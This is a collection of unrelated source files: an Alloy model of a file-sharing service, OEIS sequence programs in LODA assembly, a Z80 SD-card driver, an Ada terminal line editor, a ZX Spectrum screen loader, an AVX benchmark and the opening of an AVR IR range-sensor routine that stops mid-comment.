//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! pred init(t: Time) { no RegisteredUsers.users.t //R4 no ActiveFiles.files.t //R13 all f: BobFile | f.mode.t = REGULAR and no f.access.t and no f.version.t //R32 R37 all u: BobUser | no u.localFiles.t //R23 } //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //! Operations ! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! pred newUser(u: BobUser, t, t': Time) { let usrs = RegisteredUsers.users { ! (u in usrs.t) //R5 all usr: usrs.t | usr.email != u.email and usr.id != u.id usrs.t' = usrs.t + u u.type.t' = u.type.t u.localFiles.t' = u.localFiles.t } noChangeInUserTypes[t, t'] noChangeInFiles[t, t'] noChangeInLocalFiles[t, t'] } pred removeUser(u: BobUser, t,t': Time) { let usrs = RegisteredUsers.users { u in usrs.t //R6 usrs.t' = usrs.t - u u.type.t' = u.type.t all f: ActiveFiles.files.t | f.owner != u and !(u in f.access.t) //R14 } noChangeInUserTypes[t, t'] noChangeInFiles[t, t'] noChangeInLocalFiles[t, t'] } pred upgradePremium(u: BobUser, t,t': Time) { u.type.t = BASIC //R9 let usrs = RegisteredUsers.users { u in usrs.t //R7 u.type.t' = PREMIUM usrs.t - u = usrs.t' - u u in usrs.t' all usr: usrs.t' | usr != u => usr.type.t' = usr.type.t } noChangeInFiles[t, t'] noChangeInLocalFiles[t, t'] } pred downgradeBasic(u: BobUser, t,t': Time) { u.type.t = PREMIUM //R9 let usrs = RegisteredUsers.users { u in usrs.t //R8 u.type.t' = BASIC usrs.t - u = usrs.t' - u u in usrs.t' all usr: usrs.t' | usr != u => usr.type.t' = usr.type.t all f: ActiveFiles.files.t | u in f.access.t => f.mode.t != SECURE //R31 } noChangeInFiles[t, t'] noChangeInLocalFiles[t, t'] } pred addFile(f: BobFile, s: Int, o: BobUser, t,t': Time) { ! (f in ActiveFiles.files.t) //R15 o in RegisteredUsers.users.t //R16 f.owner = o f.size = s f.version.t' = 1 //R17 f.mode.t' = REGULAR //R32 f.access.t' = f.owner //R22 ActiveFiles.files.t' = ActiveFiles.files.t + f all file: ActiveFiles.files.t | file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t') => no file.version. t and no file.version.t' all usr: RegisteredUsers.users.t' | usr != o => usr.localFiles.t' = usr.localFiles.t noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] } pred removeFile(f: BobFile, u: BobUser, t,t': Time) { u in RegisteredUsers.users.t f in ActiveFiles.files.t //R18 u in f.access.t //R25 ActiveFiles.files.t' = ActiveFiles.files.t - f f.mode.t = READONLY => u = f.owner //R33 no f.access.t' no f.version.t' //R37 all file: ActiveFiles.files.t' | file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t') => no file.version. t and no file.version.t' noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] noChangeInLocalFiles[t, t'] } pred uploadFile(f: BobFile, u: BobUser, t,t': Time) { u in RegisteredUsers.users.t f in ActiveFiles.files.t //R18 f in u.localFiles.t u in f.access.t //R25 f.mode.t = READONLY => u = f.owner //R34 ActiveFiles.files.t - f = ActiveFiles.files.t' - f f.version.t' = add[f.version.t, 1] //R19 f.access.t' = f.access.t f.mode.t' = f.mode.t f in ActiveFiles.files.t' all file: ActiveFiles.files.t | file != f => file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t') => no file.version. t and no file.version.t' noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] noChangeInLocalFiles[t, t'] } pred downloadFile(f: BobFile, u: BobUser, t,t': Time) { u in RegisteredUsers.users.t f in ActiveFiles.files.t //R18 u in f.access.t //R25 u.localFiles.t' = u.localFiles.t + f f.version.t' = f.version.t f.access.t' = f.access.t f.mode.t' = f.mode.t all usr: RegisteredUsers.users.t' | usr != u => usr.localFiles.t' = usr.localFiles.t noChangeInFiles[t, t'] noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] } pred shareFile(f: BobFile, u, u2: BobUser, t,t': Time) { u in RegisteredUsers.users.t u2 in RegisteredUsers.users.t //R21 f in ActiveFiles.files.t u in f.access.t //R26 ! (u2 in f.access.t) //R27 f.mode.t = SECURE => u2.type.t = PREMIUM //R29 f.version.t' = f.version.t f.mode.t' = f.mode.t f.access.t' = f.access.t + u2 u2.localFiles.t' = u2.localFiles.t + f ActiveFiles.files.t' - f = ActiveFiles.files.t - f all file: ActiveFiles.files.t' | file != f => file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t') => no file.version. t and no file.version.t' all usr: RegisteredUsers.users.t' | usr != u2 => usr.localFiles.t' - f = usr.localFiles.t - f noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] } pred removeShare(f: BobFile, u, u2: BobUser, t,t': Time) { u in RegisteredUsers.users.t u2 in RegisteredUsers.users.t f in ActiveFiles.files.t u in f.access.t u2 in f.access.t f.owner != u2 //R28 f.access.t' = f.access.t - u2 f.version.t' = f.version.t f.mode.t' = f.mode.t u2.localFiles.t' = u2.localFiles.t - f ActiveFiles.files.t' - f = ActiveFiles.files.t - f all file: ActiveFiles.files.t' | file != f => file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t') => no file.version. t and no file.version.t' all usr: RegisteredUsers.users.t' | usr != u2 => usr.localFiles.t' - f = usr.localFiles.t - f noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] } pred changeSharingMode(f: BobFile, u: BobUser, m: MODES, t, t': Time) { u in RegisteredUsers.users.t f in ActiveFiles.files.t f.owner = u //R35 m = SECURE => all u: f.access.t | u.type.t = PREMIUM //R30 R36 f.mode.t' = m f.access.t' = f.access.t f.version.t' = f.version.t ActiveFiles.files.t' - f = ActiveFiles.files.t - f all file: ActiveFiles.files.t' | file != f => file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t') => no file.version. t and no file.version.t' all usr: RegisteredUsers.users.t' | usr.localFiles.t' - f = usr.localFiles.t -f noChangeInRegisteredUsers[t, t'] noChangeInUserTypes [t, t'] } //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //! Restrictions ! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //Asserts are ordered from the enforcement of restriction 1 to 37 //Restriction 1 assert everyUserCanRegister { all t: Time, u: USERS | let t' = t.next | newUser[u,t,t'] => u in RegisteredUsers.users.t' } assert everyUserHasTypeAndEmail { all usr: RegisteredUsers.users.Time | usr.type.Time in UTYPES and usr.email in UEMAILS } assert uniqueEmails { all t: Time, u1, u2: RegisteredUsers.users.t | u1.email = u2.email => u1 = u2 } assert noUsersAtInit { no RegisteredUsers.users.first } //Restriction 5 assert alwaysNewUser { all t: Time, u: USERS | let t' = t.next | u in RegisteredUsers.users.t => !newUser[u, t, t'] } assert onlyRegisteredCanBeRemoved { all t: Time, u: BobUser | let t' = t.next | removeUser[u,t,t'] => u in RegisteredUsers.users.t } assert onlyRegisteredCanBeUpgraded { all t: Time, u: BobUser | let t' = t.next | upgradePremium[u,t,t'] => u in RegisteredUsers.users.t } assert onlyRegisteredCanBeDowngraded { all t: Time, u: BobUser | let t' = t.next | downgradeBasic[u,t,t'] => u in RegisteredUsers.users.t } //Restriction 9 assert onlyBasicCanBeUpgraded { all t: Time, u: RegisteredUsers.users.t | let t' = t.next | upgradePremium[u, t, t'] =>u.type.t = BASIC } //Restriction 9 assert onlyPremiumCanBeDowngraded { all t: Time, u: RegisteredUsers.users.t | let t' = t.next | downgradeBasic[u, t, t'] => u.type.t = PREMIUM } //Restriction 10 assert filesHaveProperties { all t: Time, f: ActiveFiles.files.t | #f.owner = 1 and #f.size = 1 and #f.version.t = 1 } assert sameSpace { all f: ActiveFiles.files.Time | #f.size = 1 } assert trackActiveFilesProperties { all t: Time, f: BobFile | f in ActiveFiles.files.t => #f.owner = 1 and #f.version.t = 1 and #f.size = 1 } assert noFilesAtInit { no ActiveFiles.files.first } assert notRemoveOwners { all t: Time, u: RegisteredUsers.users.t, f: ActiveFiles.files.t | let t' = t.next | f.owner = u => !removeUser[u,t,t'] } //Restriction 15 assert notAddAlreadyExistingFiles { all t: Time, f1, f2: BobFile | let t' = t.next | f1 in ActiveFiles.files.t and f2 = f1 => !addFile[f2, Int, BobUser, t', t] } assert ownerIsRegistered { all t: Time, f: ActiveFiles.files.t | f.owner in RegisteredUsers.users.t } assert initialVersionIsOne { all t: Time, f: BobFile | let t' = t.next | addFile[f, Int, BobUser, t', t'] => f.version.t' = 1 } assert onlyExistingMayBeChanged { all t: Time, f: BobFile | let t' = t.next | !(f in ActiveFiles.files.t) => !removeFile[f, BobUser, t,t'] and !uploadFile[f, BobUser, t,t'] and !downloadFile[f, BobUser, t,t'] } assert uploadIncreasesVersion { all t: Time, f: ActiveFiles.files.t | let t' = t.next | uploadFile[f, BobUser, t,t'] => f.version.t' = add[f.version.t, 1] } //Restriction 20 assert filesCanBeShared { all t: Time, f: ActiveFiles.files.t | #f.access.t >= 1 } assert onlyShareWithRegistered { all t: Time, f: ActiveFiles.files.t, u: BobUser | let t' = t.next | shareFile[f, f.access.t, u, t, t'] => u in RegisteredUsers.users.t } assert ownerHasAccess { all f:ActiveFiles.files.Time | f.owner in f.access.Time } assert noSharedAtInit { all f: BobFile | no f.access.first } assert notRemoveUsersInSharing { all t: Time, f: ActiveFiles.files.t, u: BobUser | let t' = t.next | u in f.access.t => !removeUser[u,t,t'] } //Restriction 25 assert filesModifiedByUsersWithAccess { all t: Time, f: ActiveFiles.files.t, u: BobUser | let t' = t.next | removeFile[f, u, t, t'] or uploadFile[f, u, t, t'] or downloadFile[f, u, t, t'] => u in f.access.t } assert userWithAccessMayShare { all t: Time, f: ActiveFiles.files.t, u: BobUser | let t' = t.next | shareFile[f, u, BobUser, t, t'] => u in f.access.t } assert notRepeatingShares { all t: Time, f: ActiveFiles.files.t, u1, u2: BobUser | let t' = t.next | u2 in f.access.t => !shareFile[f, u1, u2, t, t'] } assert notRevokeAccessToOwner { all t: Time, f: BobFile, u: BobUser | let t' = t.next | f.owner = u => !removeShare[f, BobUser, u, t, t'] } assert validSharingMode { all f: ActiveFiles.files.Time | f.mode.Time in MODES } //Restriction 30 assert secureOnlyIfAllPremium { all t: Time, f: ActiveFiles.files.t, u: BobUser | shareFile[f, f.access.t, u, t, t.next] and f.mode.t = SECURE => u.type.t = PREMIUM } assert secureSharersCannotDowngrade { all t: Time, u: BobUser, f: ActiveFiles.files.t | u in f.access.t and f.mode.t = SECURE => !downgradeBasic[u, t, t.next] } assert defaultSharingIsRegular { all t: Time, f: BobFile | let t' = t.next | addFile[f, Int, BobUser, t, t'] => f.mode.t' = REGULAR } assert readOnlyRemovedByOwner { all t: Time, f: ActiveFiles.files.t, u: BobUser | f.mode.t = READONLY and removeFile[f, u, t, t.next] => u = f.owner } assert readOnlyUploadedByOwner { all t: Time, f: ActiveFiles.files.t, u: BobUser | f.mode.t = READONLY and u != f.owner => !uploadFile[f, u, t, t.next] } //Restriction 35 assert onlyOwnerChangesSharingMode { all t:Time, f: ActiveFiles.files.t, u: BobUser | u != f. owner => !changeSharingMode[f, u, MODES, t, t.next] } assert changeToSecureOnlyIfAllPremium { all t: Time, f: ActiveFiles.files.t | changeSharingMode[f, f.owner, SECURE, t, t.next] => all u: f.access.t | u.type.t = PREMIUM } assert onlyActiveAreVersioned { all t:Time, f: BobFile | !(f in ActiveFiles.files.t) => no f.version.t } fact traces { init[first] all t: Time-last | let t'=t.next | some u, u2: BobUser, f: BobFile, m: MODES, s: Int | s >= 0 and newUser[u, t, t'] or removeUser[u, t, t'] or upgradePremium[u, t, t'] or downgradeBasic[u, t, t'] or addFile[f, s, u, t, t'] or removeFile[f, u, t, t'] or uploadFile[f, u, t, t'] or shareFile[f, u, u2, t, t'] or removeShare[f, u, u2, t, t'] or changeSharingMode[f, u, m, t, t'] } check everyUserCanRegister for 10 check everyUserHasTypeAndEmail for 10 check uniqueEmails for 10 check noUsersAtInit for 10 check alwaysNewUser for 10 check onlyRegisteredCanBeRemoved for 10 check onlyRegisteredCanBeUpgraded for 10 check onlyRegisteredCanBeDowngraded for 10 check onlyBasicCanBeUpgraded for 10 check onlyPremiumCanBeDowngraded for 10 check filesHaveProperties for 10 check sameSpace for 10 check trackActiveFilesProperties for 10 check noFilesAtInit for 10 check notRemoveOwners for 10 check notAddAlreadyExistingFiles for 10 check ownerIsRegistered for 10 check initialVersionIsOne for 10 check onlyExistingMayBeChanged for 10 check uploadIncreasesVersion for 10 check filesCanBeShared for 10 check onlyShareWithRegistered for 10 check ownerHasAccess for 10 check noSharedAtInit for 10 check notRemoveUsersInSharing for 10 check filesModifiedByUsersWithAccess for 10 check userWithAccessMayShare for 10 check notRepeatingShares for 10 check notRevokeAccessToOwner for 10 check validSharingMode for 10 check secureOnlyIfAllPremium for 10 check secureSharersCannotDowngrade for 10 check defaultSharingIsRegular for 10 check readOnlyRemovedByOwner for 10 check readOnlyUploadedByOwner for 10 check onlyOwnerChangesSharingMode for 10 check changeToSecureOnlyIfAllPremium for 10 check onlyActiveAreVersioned for 10 /*Uncoment to run pred show {} run show for 6 */
oeis/243/A243953.asm
neoneye/loda-programs
11
15171
<filename>oeis/243/A243953.asm<gh_stars>10-100 ; A243953: E.g.f.: exp( Sum_{n>=1} A000108(n-1)*x^n/n ), where A000108(n) = binomial(2*n,n)/(n+1) forms the Catalan numbers. ; Submitted by <NAME> ; 1,1,2,8,56,592,8512,155584,3456896,90501632,2728876544,93143809024,3550380249088,149488545697792,6890674623094784,345131685337530368,18664673706719019008,1083931601731053223936,67278418002152175960064,4444711314548967826259968,311398905690436356542038016,23061297866350486255415853056,1800026829198099673348604690432,147694445185709575159607248027648,12708922393287815862419617749139456,1144393793176646265918404026414661632,107623852248177900259779656953974751232 lpb $0 sub $0,1 add $3,1 mov $1,$3 mul $1,$0 add $2,$1 add $4,2 mul $3,$4 add $3,$2 lpe mov $0,$2 add $0,1
libsrc/sdcard/sd_init_main.asm
meesokim/z88dk
0
174248
; ; Old School Computer Architecture - SD Card driver ; Taken from the OSCA Bootcode by <NAME> 2011 ; ; Ported by <NAME>, 2012 ; ; Init SD card communications ; On entry: A=card slot number ; ; $Id: sd_init_main.asm,v 1.6 2015/01/19 01:33:07 pauloscustodio Exp $ ; PUBLIC sd_init_main EXTERN pause_4ms EXTERN sd_power_on EXTERN sd_power_off EXTERN sd_send_eight_clocks EXTERN sd_send_command_string EXTERN sd_send_command_int_args EXTERN sd_send_command_null_args EXTERN sd_card_info EXTERN sd_read_bytes_to_sector_buffer INCLUDE "sdcard.def" EXTERN sd_card_info ;CMD0_string: ; defb $40,$00,$00,$00,$00,$95 ; defb $40,$00,$00,$00,$00 IF SDHC_SUPPORT ;CMD8_string: ; defb $48,$00,$00,$01,$aa,$87 ; defb $48,$00,$00,$01,$aa ACMD41HCS_string: ; defb $69,$40,$00,$00,$00,$01 defb $69,$40,$00,$00,$00 ENDIF sd_init_main: and a ; Requested SD card slot <> 0 ? ret nz ; then return with A carrying an error status ld (sd_card_info),a ; reset card info flags call sd_power_off ; Switch off power to the card (SPI clock slow, /CS is low but should be irrelevent) ld b,128 ; wait approx 0.5 seconds sd_powod: call pause_4ms djnz sd_powod call sd_power_on ; Switch card power back on (SPI clock slow, /CS high - de-selected) ld b,10 ; send 80 clocks to ensure card has stabilized sd_ecilp: call sd_send_eight_clocks djnz sd_ecilp ld a,CMD0 ; Send Reset Command CMD0 ($40,$00,$00,$00,$00,$95) call sd_send_command_null_args cp $01 ; Command Response should be $01 ("In idle mode") jr z,sd_spi_mode_ok ld a,sd_error_spi_mode_failed ret ; ---- CARD IS IN IDLE MODE ----------------------------------------------------------------------------------- sd_spi_mode_ok: IF SDHC_SUPPORT ;ld hl,CMD8_string ; send CMD8 ($48,$00,$00,$01,$aa,$87) to test for SDHC card ;call sd_send_command_string ld a,CMD8 ld de,$1AA ; 0x1AA means that the card is SDC V2 and can work at voltage range of 2.7 to 3.6 volts. call sd_send_command_int_args cp $01 jr nz,sd_sdc_init ; if R1 response is not $01: illegal command: not an SDHC card ld b,4 call sd_read_bytes_to_sector_buffer ; get r7 response (4 bytes) ld a,1 inc hl inc hl cp (hl) ; we need $01,$aa in response bytes 2 and 3 jr z,sd_vrok ld a,sd_error_vrange_bad ret sd_vrok: ld a,$aa inc hl cp (hl) jr z,sd_check_pattern_ok ld a,sd_error_check_pattern_bad ret sd_check_pattern_ok: ;------ SDHC CARD CAN WORK AT 2.7v - 3.6v ---------------------------------------------------------------------- ld bc,8000 ; Send SDHC card init sdhc_iwl: ld a,CMD55 ; First send CMD55 ($77 00 00 00 00 01) call sd_send_command_null_args ld hl,ACMD41HCS_string ; Now send ACMD41 with HCS bit set ($69 $40 $00 $00 $00 $01) call sd_send_command_string jr z,sdhc_init_ok ; when response is $00, card is ready for use bit 2,a jr nz,sdhc_if ; if Command Response = "Illegal command", quit dec bc ld a,b or c jr nz,sdhc_iwl sdhc_if: ld a,sd_error_sdhc_init_failed ; if $00 isn't received, fail ret sdhc_init_ok: ;------ SDHC CARD IS INITIALIZED -------------------------------------------------------------------------------------- ld a,CMD58 ; send CMD58 - read OCR call sd_send_command_null_args ld b,4 ; read in OCR call sd_read_bytes_to_sector_buffer ld a,(hl) and $40 ; test CCS bit rrca rrca or @00000010 ld (sd_card_info),a ; bit4: Block mode access, bit 0:3 card type (0:MMC,1:SD,2:SDHC) xor a ; A = 00, all OK ret ENDIF ;-------- NOT AN SDHC CARD, TRY SD INIT --------------------------------------------------------------------------------- sd_sdc_init: ld bc,8000 ; Send SD card init sd_iwl: ld a,CMD55 ; First send CMD55 ($77 00 00 00 00 01) call sd_send_command_null_args ld a,ACMD41 ; Now send ACMD41 ($69 00 00 00 00 01) call sd_send_command_null_args jr z,sd_rdy ; when response is $00, card is ready for use bit 2,a jr nz,sd_mmc_init ; check command response bit 2, if set = illegal command - try MMC init dec bc ld a,b or c jr nz,sd_iwl ld a,sd_error_sd_init_failed ; if $00 isn't received, fail ret sd_rdy: ld a,1 ld (sd_card_info),a ; set card type to 1:SD (byte access mode) xor a ; A = 0: all ok ret ;-------- NOT AN SDHC OR SD CARD, TRY MMC INIT --------------------------------------------------------------------------- sd_mmc_init: ld bc,8000 ; Send MMC card init and wait for card to initialize sdmmc_iwl: ld a,CMD1 call sd_send_command_null_args ; send CMD1 ($41 00 00 00 00 01) ret z ; If ZF set, command response in A = 00: Ready,. Card type is default MMC (byte access mode) sd_mnrdy: dec bc ld a,b or c jr nz,sdmmc_iwl ld a,sd_error_mmc_init_failed ; if $00 isn't received, fail ret
src/common/trendy_terminal-lines.adb
pyjarrett/archaic_terminal
3
3731
<reponame>pyjarrett/archaic_terminal<filename>src/common/trendy_terminal-lines.adb ------------------------------------------------------------------------------- -- Copyright 2021, The Trendy Terminal Developers (see AUTHORS file) -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- http://www.apache.org/licenses/LICENSE-2.0 -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ------------------------------------------------------------------------------- with Trendy_Terminal.VT100; package body Trendy_Terminal.Lines is function Length(Self : in Line) return Natural is (Current(Self)'Length); procedure Move_Cursor (Self : in out Line; Direction : Cursor_Direction) is begin case Direction is when Left => if Self.Cursor > 1 then Self.Cursor := Self.Cursor - 1; VT100.Cursor_Left; end if; when Right => if Self.Cursor <= ASU.Length (Self.Contents) then Self.Cursor := Self.Cursor + 1; VT100.Cursor_Right; end if; end case; end Move_Cursor; function Make (Contents : ASU.Unbounded_String; Index : Positive) return Line is begin return Line'(Contents => Contents, Cursor => Index); end Make; function Make (S : String; Index : Positive) return Line is begin return Result : Line do Result.Contents := ASU.To_Unbounded_String (S); Result.Cursor := Index; end return; end Make; function Make (S : String) return Line is begin return Make (S, S'Length + 1); end Make; procedure Set (Self : in out Line; S : String; Index : Positive) is begin Self.Contents := ASU.To_Unbounded_String (S); Self.Cursor := Index; end Set; function Get_Cursor_Index (Self : in Line) return Positive is begin return Self.Cursor; end Get_Cursor_Index; procedure Set_Cursor_Index (Self : in out Line; Cursor_Index : Positive) is begin Self.Cursor := Cursor_Index; end Set_Cursor_Index; procedure Insert (Self : in out Line; S : String) is begin ASU.Insert(Self.Contents, Self.Cursor, S); Self.Cursor := Self.Cursor + S'Length; end Insert; procedure Backspace (Self : in out Line) is begin if Self.Cursor = 1 then return; end if; ASU.Delete(Self.Contents, Self.Cursor - 1, Self.Cursor - 1); Move_Cursor(Self, Left); end Backspace; procedure Delete (Self : in out Line) is begin if ASU.Length (Self.Contents) > 0 and then Self.Cursor <= ASU.Length(Self.Contents) then ASU.Delete (Self.Contents, Self.Cursor, Self.Cursor); if Self.Cursor > ASU.Length (Self.Contents) + 1 then Move_Cursor (Self, Left); end if; end if; end Delete; procedure Clear (Self : in out Line) is begin Self.Cursor := 1; Self.Contents := ASU.Null_Unbounded_String; end Clear; function Current (Self : Line) return String is (ASU.To_String(Self.Contents)); end Trendy_Terminal.Lines;
oeis/135/A135756.asm
neoneye/loda-programs
11
6604
<reponame>neoneye/loda-programs ; A135756: a(n) = Sum_{k=0..n} C(n,k) * 2^(k*(k-1)). ; Submitted by <NAME> ; 1,2,7,80,4381,1069742,1080096067,4405584869660,72092808533798521,4723015159635987920282,1237987266193328694390243007,1298087832233881093828346620725800,5444533447707296101446012633157149337621,91343923112015002085726359385842062050700622022,6129983442277983549572178676542371067615706929965231227,1645504649270948085215272925511632298229598760706031368309949300,1766847091106457982320504943416293058548537948770890651403893359227588081 mov $1,1 mov $3,$0 mov $4,1 lpb $3 mul $1,$4 mul $1,$3 mul $4,4 add $5,1 div $1,$5 div $2,2 add $2,$1 mul $2,2 sub $3,1 lpe mov $0,$2 div $0,2 add $0,1
loaders_patches_etc/screen_put_miami.asm
alexanderbazhenoff/zx-spectrum-various
0
97974
<gh_stars>0 ORG #8000 BORDER EQU 5 DI EXX PUSH HL EXX LD BC,#7FFD LD HL,#C010 LD E,#17 OUT (C),L LD (HL),L OUT (C),E LD (HL),E OUT (C),L LD A,(HL) CP E JP Z,MOD48 LD A,#17 OUT (C),A LD HL,#AE00 LD DE,#AE01 LD BC,#100 LD A,H LD I,A INC A LD (HL),A LDIR IM 2 LD A,#C9 LD (#AFAF),A LD HL,CLCL LD (#AFB0),HL LD H,C LD L,H EI HALT LD A,#C3 LD (#AFAF),A EI L_LOOP INC HL LD B,15 L_PAUS DJNZ L_PAUS NOP NOP JP L_LOOP CLCL POP DE LD A,H CP 1 JP C,MOD48 LD A,L CP #3F JP C,MOD48 LD A,#C9 LD (#AFAF),A LD HL,#D800 LD (JMP2+1),HL XOR A LD (LOOP1+1),A CALL PUTSCR LD HL,#AC00 PUSH HL LD DE,#AC01 LD (HL),#10 LD BC,320 LDIR EXX LD BC,#7FFD EXX LD BC,160 POP HL LD DE,#AC00+319 BMLP EI HALT LD (#2222),HL LD (#2222),HL LD (#2222),HL LD (#2222),HL LD (#2222),HL LD (#2222),HL LD (#2222),HL ;10 BORD LD A,#18+BORDER ;7 LD (HL),A ;6 INC HL ;6 INC HL ;6 LD (DE),A ;6 DEC DE ;6 DEC DE ;6 EXX ;4 LD HL,#AC00 ;10 LD DE,318 ;10 BLP1 LD A,(HL) ;7 OUT (C),A ;12 AND 7 ;7 OUT (#FE),A ;11 INC HL ;6 LD A,(#7E7E) ;13 LD A,(#7E7E) LD A,(#7E7E) LD A,(#7E7E) LD A,(#7E7E) LD A,(#7E7E) LD A,(#7E7E) LD A,(#7E7E) ;TT=104 LD A,(HL) LD A,(HL) ;6 LD A,(HL) LD A,(HL) LD A,(HL) LD A,(HL) LD A,(HL) NOP ;4 DEC DE ;6 LD A,D ;4 OR E ;4 JP NZ,BLP1 ;10 EXX DEC BC LD A,B OR C JP NZ,BMLP LD A,(BORD+1) AND 7 OUT (#FE),A LD BC,#7FFD PUSH BC LD A,#1F OUT (C),A LD HL,#C000 LD DE,#4000 LD BC,#1B00 LDIR POP BC LD A,#10 OUT (C),A JR EXIT MOD48 IM 1 EI HALT LD HL,#5800 LD DE,#5801 LD A,1+8 LD (HL),A LD BC,#2FF OUT (#FE),A LDIR CALL PUTSCR EXIT EXX POP HL EXX IM 1 LD A,#3B LD I,A EI RET PUTSCR LD DE,#4000 LD HL,SCREEN LD BC,#C020 LOOP PUSH BC PUSH DE LOOP1 JR SCR1 PUSH DE PUSH HL LD HL,#8000 ADD HL,DE PUSH HL POP DE POP HL LD A,(HL) LD (DE),A POP DE JR SCR2 SCR1 LD A,(HL) LD (DE),A SCR2 INC HL INC D LD A,D AND 7 JR NZ,AROUND LD A,E ADD A,#20 LD E,A JR C,AROUND LD A,D SUB 8 LD D,A AROUND DJNZ LOOP1 POP DE INC DE POP BC DEC C JR NZ,LOOP EI HALT JMP2 LD DE,#5800 LD BC,#300 LDIR RET SCREEN INCBIN "PICTURE" ENDFIL
source/MicroBenchX.Ipc/IpcTests/sub_avx256_float.asm
clayne/MicroBenchX
15
85079
[BITS 64] %include "parameters.inc" extern exit global sub_avx256_float section .text sub_avx256_float: push rbp mov rax, ITERATIONS_sub_avx256f lea rbx, [rel avx_iv] vmovdqa ymm0, [rbx] vmovdqa ymm1, [rbx] vmovdqa ymm2, [rbx] vmovdqa ymm3, [rbx] vmovdqa ymm4, [rbx] vmovdqa ymm5, [rbx] vmovdqa ymm6, [rbx] vmovdqa ymm7, [rbx] vmovdqa ymm8, [rbx] vmovdqa ymm9, [rbx] vmovdqa ymm10, [rbx] vmovdqa ymm11, [rbx] vmovdqa ymm12, [rbx] vmovdqa ymm13, [rbx] vmovdqa ymm14, [rbx] vmovdqa ymm15, [rbx] .loop: vsubps ymm0, ymm0 vsubps ymm1, ymm1 vsubps ymm2, ymm2 vsubps ymm3, ymm3 vsubps ymm4, ymm4 vsubps ymm5, ymm5 vsubps ymm6, ymm6 vsubps ymm7, ymm7 vsubps ymm8, ymm8 vsubps ymm9, ymm9 vsubps ymm10, ymm10 vsubps ymm11, ymm11 vsubps ymm12, ymm12 vsubps ymm13, ymm13 vsubps ymm14, ymm14 vsubps ymm15, ymm15 dec rax jnz .loop .exit: lea rdi, [rel format] pop rbp xor rax, rax mov rax, ITERATIONS_sub_avx256f mov rsi, 18 ; 16 vsubps + 1 dec + 1 loop mul rsi ret section .data format: db "%lu", 10, 0 align 32 avx_iv: dd 8.0, 7.0, 6.0, 5.0, 4.0, 3.0, 2.0, 1.0
TankBot_Code_Dev/TankBotTest/asm/src/range_ir_service.asm
CmdrZin/chips_avr_examples
5
91807
<reponame>CmdrZin/chips_avr_examples /* * Optocal IR Range Sensor Service * * org: 10/20/2014 * auth: Nels "Chip" Pearson * * Target: Tank Bot Demo Board, 20MHz, ATmega164P * * This service supports four IR 2D04 range sensors. * The sensors use power control to help reduce power use which is 35ma per sensor. * * Uses PORT A * * Dependentcies * sys_timers.asm * adc_util_triggered.asm * */ .equ RNG_IR_LED_DELAY_COUNT = 6 ; 38.6 +/-9.6 + 5 ~=60ms..Sensor on time .equ RNG_IR_IDLE_DELAY_COUNT = 7 ; 70ms..scan delay .equ RNG_IR_WAIT_IDLE = 0 .equ RNG_IR_WAIT_LEFT_F = 1 .equ RNG_IR_WAIT_LEFT_R = 2 .equ RNG_IR_WAIT_RIGHT_F = 3 .equ RNG_IR_WAIT_RIGHT_R = 4 ; IR Range uses PORTA.0:7 .equ IR_LEFT_FRONT_SIG = 0 .equ IR_LEFT_REAR_SIG = 1 .equ IR_RIGHT_REAR_SIG = 2 .equ IR_RIGHT_FRONT_SIG = 3 .equ IR_LEFT_FRONT_CTRL = PORTA4 .equ IR_LEFT_REAR_CTRL = PORTA5 .equ IR_RIGHT_REAR_CTRL = PORTA6 .equ IR_RIGHT_FRONT_CTRL = PORTA7 .DSEG range_ir_leftFront: .BYTE 1 ; 0cm = xxx..30cm = xxx range_ir_leftRear: .BYTE 1 range_ir_rightFront: .BYTE 1 range_ir_rightRear: .BYTE 1 range_ir_state: .BYTE 1 range_ir_delay: .BYTE 1 ; 30ms nominal .CSEG /* * Initialize Optical Range Sensor * */ range_ir_service_init: call range_ir_service_init_io ; ldi R16, RNG_IR_IDLE_DELAY_COUNT sts range_ir_delay, R16 ldi R16, RNG_IR_WAIT_IDLE sts range_ir_state, R16 ; ret /* * Configure IO pins */ range_ir_service_init_io: ; Disable all sbi PORTA, IR_LEFT_FRONT_CTRL sbi PORTA, IR_LEFT_REAR_CTRL sbi PORTA, IR_RIGHT_REAR_CTRL sbi PORTA, IR_RIGHT_FRONT_CTRL ; Set as output sbi DDRA, IR_LEFT_FRONT_CTRL sbi DDRA, IR_LEFT_REAR_CTRL sbi DDRA, IR_RIGHT_REAR_CTRL sbi DDRA, IR_RIGHT_FRONT_CTRL ; Setup ADC for channels 0-3 by adc_init_hdwr() ret /* * range_ir_service() * * input reg: none * * output reg: none * * resources: range_ir_leftFront * range_ir_leftRear * range_ir_rightFront * range_ir_rightRear * * Four ADC channels for IR distance. * Four I/O lines for sensor power conntrol. * Set up ADC to trigger after LED turn-on. 30ms cycle. * Cycle through sensors. * * Process * 0. 